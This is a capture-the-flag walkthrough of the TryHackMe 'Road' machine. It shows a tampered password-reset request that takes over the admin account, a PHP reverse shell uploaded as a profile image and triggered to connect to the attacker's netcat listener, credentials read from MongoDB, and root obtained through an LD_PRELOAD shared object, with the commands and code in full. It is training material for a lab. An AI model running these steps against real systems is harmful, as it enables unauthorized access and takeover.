TryHackMe - Road
Enumeration
Nmap
┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- --min-rate 5000 -Pn 10.10.222.154
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-28 10:12 EDT
Nmap scan report for 10.10.222.154
Host is up (0.19s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 14.25 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -A -Pn -p 22,80 10.10.222.154
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-28 10:08 EDT
Nmap scan report for 10.10.222.154
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e6dc8869dea1738e845ba13e279f0724 (RSA)
| 256 6bea185d8dc79e9a012cdd50c5f8c805 (ECDSA)
|_ 256 ef06d7e4b165156e9462ccddf08a1a24 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Sky Couriers
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.2 - 4.9 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 187.65 ms 10.9.0.1
2 187.85 ms 10.10.222.154
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.09 seconds
Dir Scan
┌──(kali㉿kali)-[~]
└─$ gobuster dir -w ~/Wordlists/directory-list-2.3-medium.txt --no-error -t 60 -u http://10.10.222.154/
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.222.154/
[+] Method: GET
[+] Threads: 60
[+] Wordlist: /home/kali/Wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/assets (Status: 301) [Size: 315] [--> http://10.10.222.154/assets/]
/v2 (Status: 301) [Size: 311] [--> http://10.10.222.154/v2/]
/server-status (Status: 403) [Size: 278]
/phpMyAdmin (Status: 301) [Size: 319] [--> http://10.10.222.154/phpMyAdmin/]
HTTP
Default
/assets/
****/v2/**** (auto re-direct)
Initiate Foothold
Find admin’s account
There is an option REGISTER → Let’s create a new user instead of trying to brute-force the login function:
After the REGISTER step, the application re-directs me back to the login page, then I login and it routes me to the index page:
I click on the user icon on the top-right to open the drop-down menu and click the ***Profile*** section:
In the Profile page, scroll down to the end and notice at a note of the ***Select Profile Image*** section:
So now I have the admin’s username:
admin@sky.thm
Update password injection → gain admin
Look at the side bar on the left, at the section *Users* → Click the *ResetUser* option:
From here, I use **Burpsuite** to capture the requests from the application to the server to see what would happen if I change the password of my current user:
POST /v2/lostpassword.php HTTP/1.1
Host: 10.10.222.154
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------23437003053643363998427021955
Content-Length: 647
Origin: http://10.10.222.154
Connection: close
Referer: http://10.10.222.154/v2/ResetUser.php
Cookie: Bookings=0; Manifest=0; Pickup=0; Delivered=0; Delay=0; CODINR=0; POD=0; cu=0; PHPSESSID=jfp2psme4qoac98av8llbpk2g2
Upgrade-Insecure-Requests: 1
-----------------------------23437003053643363998427021955
Content-Disposition: form-data; name="uname"
kali@email.com
-----------------------------23437003053643363998427021955
Content-Disposition: form-data; name="npass"
6789
-----------------------------23437003053643363998427021955
Content-Disposition: form-data; name="cpass"
6789
-----------------------------23437003053643363998427021955
Content-Disposition: form-data; name="ci_csrf_token"
-----------------------------23437003053643363998427021955
Content-Disposition: form-data; name="send"
Submit
-----------------------------23437003053643363998427021955--
From the request, you can see that my username (uname
) is kali@email.com
which is the one that I have registered and the npass
(might be stands for **new password**) and cpass
(confirm password) is 6789
(the original password is 123456
).
I sign out and try to login again to verify that my password has been changed correctly:
OK! Because I’ve already had the admin’s username, I will use it to modify the request as below:
Content-Disposition: form-data; name="uname"
admin@sky.thm
-----------------------------23437003053643363998427021955
Content-Disposition: form-data; name="npass"
6789
-----------------------------23437003053643363998427021955
Content-Disposition: form-data; name="cpass"
6789
-----------------------------23437003053643363998427021955
Content-Disposition: form-data; name="ci_csrf_token"
Click **Send** and see the response:
Sign out the current user (kali
) and sign in with the admin’s username:
Exploit
Upload image injection
Get back to the ***Profile*** page > scroll down to the ***Select Profile Image*** section → Now I can upload an image:
I choose a normal image within .png
extension and upload it:
The upload process was succeed. However, where is it? I had check the path /assets/images/
but it was not there. So I press Ctrl + U
to view the page source of the current page. Look through it and I found this script:
<!-- /v2/profileimages/ -->
<script type="text/javascript">
function showtab(tab){
console.log(tab);
if(tab == 'new_task'){
$('#new_task').css('display','block');
$('#your_task').css('display','none');
} else {
$('#new_task').css('display','none');
$('#your_task').css('display','block');
}
}
</script>
My uploaded image might be stored in the /v2/profileimages/
→ Let’s check it:
Hmmm… The listing is not available to view. So I try to specify the image name:
Gain Access
I have verified that the image could be upload and view on the application. Now it’s time to use a reverse shell to get the access:
┌──(kali㉿kali)-[~/TryHackMe/Road]
└─$ ls -l
total 136
-rw-r--r-- 1 kali kali 128615 Oct 7 2021 room_pic.png
-rwxr-xr-x 1 kali kali 5492 Aug 28 10:56 shell.php
Start the listener on local machine:
┌──(kali㉿kali)-[~/TryHackMe/Road]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
Then use curl
to execute the shell:
curl http://10.10.222.154/v2/profileimages/shell.php
┌──(kali㉿kali)-[~/TryHackMe/Road]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.9.63.75] from (UNKNOWN) [10.10.222.154] 33172
Linux sky 5.4.0-73-generic #82-Ubuntu SMP Wed Apr 14 17:39:42 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
15:00:13 up 51 min, 0 users, load average: 0.00, 0.00, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Navigate to /home
directory and found 1 user:
$ cd /home
$ ls -la
total 12
drwxr-xr-x 3 root root 4096 May 25 2021 .
drwxr-xr-x 20 root root 4096 May 25 2021 ..
drwxr-xr-x 4 webdeveloper webdeveloper 4096 Oct 8 2021 webdeveloper
Access the directory and get the flag:
$ cd webdeveloper
$ ls -la
total 36
drwxr-xr-x 4 webdeveloper webdeveloper 4096 Oct 8 2021 .
drwxr-xr-x 3 root root 4096 May 25 2021 ..
lrwxrwxrwx 1 webdeveloper webdeveloper 9 May 25 2021 .bash_history -> /dev/null
-rw-r--r-- 1 webdeveloper webdeveloper 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 webdeveloper webdeveloper 3771 Feb 25 2020 .bashrc
drwx------ 2 webdeveloper webdeveloper 4096 May 25 2021 .cache
drwxrwxr-x 3 webdeveloper webdeveloper 4096 May 25 2021 .local
-rw------- 1 webdeveloper webdeveloper 51 Oct 8 2021 .mysql_history
-rw-r--r-- 1 webdeveloper webdeveloper 807 Feb 25 2020 .profile
-rw-r--r-- 1 webdeveloper webdeveloper 0 Oct 7 2021 .sudo_as_admin_successful
-rw-r--r-- 1 webdeveloper webdeveloper 33 May 25 2021 user.txt
$ cat user.txt
[REDACTED]
Privilege Escalation → webdeveloper
$ ss -tl
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 128 0.0.0.0:ssh 0.0.0.0:*
LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
LISTEN 0 511 127.0.0.1:9000 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:27017 0.0.0.0:*
LISTEN 0 151 127.0.0.1:mysql 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:domain 0.0.0.0:*
LISTEN 0 128 [::]:ssh [::]:*
LISTEN 0 511 *:http *:*
The port 27017
is the default port of mongodb
service. Let’s start the mongo
to enumerate the databases:
$ mongo --port 27017
MongoDB shell version v4.4.6
connecting to: mongodb://127.0.0.1:27017/?compressors=disabled&gssapiServiceName=mongodb
Implicit session: session { "id" : UUID("99234862-b7d0-4819-a44d-9758c45fb98f") }
MongoDB server version: 4.4.6
show dbs
admin 0.000GB
backup 0.000GB
config 0.000GB
local 0.000GB
use backup
switched to db backup
show collections
collection
user
db.collection.find()
db.user.find()
{ "_id" : ObjectId("60ae2661203d21857b184a76"), "Month" : "Feb", "Profit" : "25000" }
{ "_id" : ObjectId("60ae2677203d21857b184a77"), "Month" : "March", "Profit" : "5000" }
{ "_id" : ObjectId("60ae2690203d21857b184a78"), "Name" : "webdeveloper", "Pass" : "[REDACTED]" }
{ "_id" : ObjectId("60ae26bf203d21857b184a79"), "Name" : "Rohit", "EndDate" : "December" }
{ "_id" : ObjectId("60ae26d2203d21857b184a7a"), "Name" : "Rohit", "Salary" : "30000" }
Use the password of user webdeveloper
in the user
table to become the webdeveloper
user:
$ su webdeveloper
Password: [REDACTED]
id
uid=1000(webdeveloper) gid=1000(webdeveloper) groups=1000(webdeveloper),24(cdrom),27(sudo),30(dip),46(plugdev)
python3 -c "import pty;pty.spawn('/bin/bash')"
webdeveloper@sky:/$
Privilege Escalation
webdeveloper@sky:~$ sudo -l
sudo -l
Matching Defaults entries for webdeveloper on sky:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
env_keep+=LD_PRELOAD
User webdeveloper may run the following commands on sky:
(ALL : ALL) NOPASSWD: /usr/bin/sky_backup_utility
I transfer the sky_backup_utility
binary to my local machine for analyzing it:
webdeveloper@sky:~$ cd /usr/bin/
webdeveloper@sky:/usr/bin$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
┌──(kali㉿kali)-[~/TryHackMe/Road]
└─$ wget http://10.10.2.103:8000/sky_backup_utility
--2023-08-28 11:30:29-- http://10.10.2.103:8000/sky_backup_utility
Connecting to 10.10.2.103:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16704 (16K) [application/octet-stream]
Saving to: ‘sky_backup_utility’
sky_backup_utility 100%[==============================================>] 16.31K 87.1KB/s in 0.2s
2023-08-28 11:30:29 (87.1 KB/s) - ‘sky_backup_utility’ saved [16704/16704]
Use strings
:
Sky Backup Utility
Now attempting to backup Sky
tar -czvf /root/.backup/sky-backup.tar.gz /var/www/html/*
Backup failed!
Check your permissions!
Backup successful!
;*3$"
There’s nothing much really helpful for the privilege escalation process. Then I notice at the result of the sudo -l
command → env_keep+=LD_PRELOAD
LD_Preload: It is an environment variable that lists shared libraries with functions that override the standard set, just as /etc/ld.so.preload does. These are implemented by the loader /lib/ld-linux.so
I follow the instructions from this source.
Navigate to /tmp
directory where in normal cases, any user have the ability to interact with files.
webdeveloper@sky:/var/www/html$ cd /tmp
Then I create a shell.c
:
webdeveloper@sky:/tmp$ nano shell.c
webdeveloper@sky:/tmp$ cat shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
webdeveloper@sky:/tmp$ ls -l | grep "shell"
-rw-rw-r-- 1 webdeveloper webdeveloper 144 Aug 28 15:41 shell.c
webdeveloper@sky:/tmp$ gcc -fPIC -shared -o shell.so shell.c -nostartfiles
shell.c: In function ‘_init’:
shell.c:6:1: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
6 | setgid(0);
| ^~~~~~
shell.c:7:1: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
7 | setuid(0);
| ^~~~~~
webdeveloper@sky:/tmp$ ls -la | grep "shell"
-rw-rw-r-- 1 webdeveloper webdeveloper 144 Aug 28 15:41 shell.c
-rwxrwxr-x 1 webdeveloper webdeveloper 14760 Aug 28 15:42 shell.so
webdeveloper@sky:/tmp$ sudo LD_PRELOAD=/tmp/shell.so /usr/bin/sky_backup_utility
# id
uid=0(root) gid=0(root) groups=0(root)
# pwd
/tmp
# cd /root
# ls
root.txt
# cat root.txt
[REDACTED]